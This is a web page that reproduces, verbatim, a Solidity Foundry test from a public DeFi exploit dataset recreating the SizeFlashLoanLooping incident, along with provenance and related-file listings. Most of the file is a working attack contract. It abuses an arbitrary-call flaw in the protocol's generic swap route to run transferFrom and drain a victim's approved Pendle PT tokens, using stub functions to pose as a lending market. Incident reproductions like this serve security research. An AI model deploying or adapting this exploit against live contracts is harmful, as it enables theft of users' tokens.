Public reproduction file
src/test/2025-08/SizeFlashLoanLooping_exp.sol
Public reproduction file for dataset entry SizeFlashLoanLooping.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 533.05 USD8// Attacker : 0x326dc2ff9045ae79ca3e395d584d3b56af1f310e9// Attack Contract : 0x977e8f1c4e3a05be213d62428afc2891aeb9f4e310// Vulnerable Contract : 0x4b356dc596dd508836bd9e8fe5acad81f8cf901911// Attack Tx : https://etherscan.io/tx/0x63aaa5a9fc87ce419c8b1711effee34e2c726b3ee2c2d28f64b963408d6ea8d312//13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x4b356dc596dd508836bd9e8fe5acad81f8cf9019#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/166918//19// Attack summary: The attacker deployed initcode that created a temporary helper and called Size's20// FlashLoanLoopingV1_7.loopPositionWithFlashLoan() with SwapMethod.GenericRoute. The generic route target was a21// Pendle PT token, and the route calldata was transferFrom(victim, attacker, amount).22// Root cause: DexSwap._swapGenericRoute() accepts caller-controlled router and calldata, approves tokenIn to that23// router, then performs router.call(data). When used through the public flashloan loop entrypoint, this arbitrary24// external call let the Size periphery spend third-party token allowances granted to the vulnerable contract.26address constant ATTACKER = 0x326dc2FF9045AE79Ca3E395D584d3b56aF1F310e;27address constant ATTACK_CONTRACT = 0x977E8f1C4e3a05BE213D62428AFC2891Aeb9F4e3;28address constant VICTIM = 0xaC47Ea87b634E0CAbcA5c291EaD7C1474668210d;29address constant FLASH_LOAN_LOOPING = 0x4b356Dc596dd508836bd9e8FE5aCad81F8Cf9019;30address constant PENDLE_PT = 0x23E60d1488525bf4685f53b3aa8E676c30321066;31address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;33uint256 constant PT_AMOUNT = 540_576_557_356_106_541_792;34uint256 constant WETH_DUST = 10_000;36interface IFlashLoanLoopingV17 {37 enum SwapMethod {38 OneInch,39 Unoswap,40 UniswapV2,41 UniswapV3,42 GenericRoute,43 BoringPtSeller,44 BuyPt45 }47 struct SellCreditMarketParams {48 address lender;49 uint256 creditPositionId;50 uint256 amount;51 uint256 tenor;52 uint256 deadline;53 uint256 maxAPR;54 bool exactAmountIn;55 }57 struct SwapParams {58 SwapMethod method;59 bytes data;60 }62 struct LoopParamsV17 {63 address sizeMarket;64 address collateralToken;65 address borrowToken;66 uint256 flashLoanAmountBorrowToken;67 SellCreditMarketParams[] sellCreditMarketParamsArray;68 SwapParams[] swapParamsArray;69 uint256 targetLeveragePercent;70 }72 function loopPositionWithFlashLoan(LoopParamsV17 calldata loopParams) external;73}75contract ContractTest is BaseTestWithBalanceLog {76 SizeFlashLoanLoopingAttack private exploit;78 function setUp() public {79 uint256 forkBlock = 23_146_022;80 vm.createSelectFork("mainnet", forkBlock);81 vm.label(ATTACKER, "Attacker");82 vm.label(ATTACK_CONTRACT, "Attack Contract");83 vm.label(VICTIM, "Victim");84 vm.label(FLASH_LOAN_LOOPING, "Size FlashLoanLoopingV1_7");85 vm.label(PENDLE_PT, "Pendle PT");86 vm.label(WETH_TOKEN, "WETH");88 exploit = new SizeFlashLoanLoopingAttack();89 vm.deal(address(exploit), WETH_DUST);90 fundingToken = PENDLE_PT;91 attacker = address(exploit);92 }94 function testExploit() public balanceLog {95 uint256 victimBefore = IERC20(PENDLE_PT).balanceOf(VICTIM);96 uint256 allowanceBefore = IERC20(PENDLE_PT).allowance(VICTIM, FLASH_LOAN_LOOPING);98 assertGe(victimBefore, PT_AMOUNT, "victim balance");99 assertGe(allowanceBefore, PT_AMOUNT, "victim allowance");101 exploit.run();103 assertEq(IERC20(PENDLE_PT).balanceOf(address(exploit)), PT_AMOUNT, "PT profit");104 assertEq(victimBefore - IERC20(PENDLE_PT).balanceOf(VICTIM), PT_AMOUNT, "victim loss");105 }106}108contract SizeFlashLoanLoopingAttack {109 struct DepositParams {110 address token;111 uint256 amount;112 address to;113 }115 struct GenericRouteParams {116 address router;117 address tokenIn;118 bytes data;119 }121 receive() external payable {}123 function run() external {124 IWETH(payable(WETH_TOKEN)).deposit{value: WETH_DUST}();126 GenericRouteParams memory route = GenericRouteParams({127 router: PENDLE_PT,128 tokenIn: WETH_TOKEN,129 data: abi.encodeWithSelector(IERC20.transferFrom.selector, VICTIM, address(this), PT_AMOUNT)130 });132 IFlashLoanLoopingV17.SwapParams[] memory swaps = new IFlashLoanLoopingV17.SwapParams[](1);133 swaps[0] = IFlashLoanLoopingV17.SwapParams({134 method: IFlashLoanLoopingV17.SwapMethod.GenericRoute,135 data: abi.encode(route)136 });138 IFlashLoanLoopingV17.SellCreditMarketParams[] memory emptySellCreditParams =139 new IFlashLoanLoopingV17.SellCreditMarketParams[](0);141 IFlashLoanLoopingV17.LoopParamsV17 memory loopParams = IFlashLoanLoopingV17.LoopParamsV17({142 sizeMarket: address(this),143 collateralToken: address(this),144 borrowToken: WETH_TOKEN,145 flashLoanAmountBorrowToken: 0,146 sellCreditMarketParamsArray: emptySellCreditParams,147 swapParamsArray: swaps,148 targetLeveragePercent: 10_000149 });151 IFlashLoanLoopingV17(FLASH_LOAN_LOOPING).loopPositionWithFlashLoan(loopParams);152 }154 function approve(address, uint256) external pure returns (bool) {155 return true;156 }158 function balanceOf(address) external pure returns (uint256) {159 return 10_000_000_000_000_000_000_000_000_000_000;160 }162 function multicall(bytes[] calldata calls) external pure returns (bytes[] memory results) {163 results = new bytes[](calls.length);164 }166 function data()167 external168 pure169 returns (170 uint256 nextDebtPositionId,171 uint256 nextCreditPositionId,172 address underlyingCollateralToken,173 address underlyingBorrowToken,174 address collateralToken,175 address borrowAToken,176 address debtToken,177 address variablePool178 )179 {180 nextDebtPositionId = 0;181 nextCreditPositionId = 0;182 underlyingCollateralToken = WETH_TOKEN;183 underlyingBorrowToken = WETH_TOKEN;184 collateralToken = WETH_TOKEN;185 borrowAToken = WETH_TOKEN;186 debtToken = WETH_TOKEN;187 variablePool = WETH_TOKEN;188 }190 function debtTokenAmountToCollateralTokenAmount(uint256) external pure returns (uint256) {191 return 10;192 }194 function deposit(DepositParams calldata) external payable {}195}Analysis
Dataset entry
Public Foundry test for “SizeFlashLoanLooping” (2025-08-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x326dc2ff9045ae79ca3e395d584d3b56af1f310e
- Attack Contract
0x977e8f1c4e3a05be213d62428afc2891aeb9f4e3
- Vulnerable Contract
0x4b356dc596dd508836bd9e8fe5acad81f8cf9019
- Attack Tx
0x63aaa5a9fc87ce419c8b1711effee34e2c726b3ee2c2d28f64b963408d6ea8d3
File record
- Name
- SizeFlashLoanLooping
- Path
- src/test/2025-08/SizeFlashLoanLooping_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8a6b9d6150c451ad017cab225483341c808647ec
- Language
- Solidity
- Size
- 196 lines
- Date
- 2025-08-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/SizeFlashLoanLooping_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8a6b9d6150c451ad017cab225483341c808647ec, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.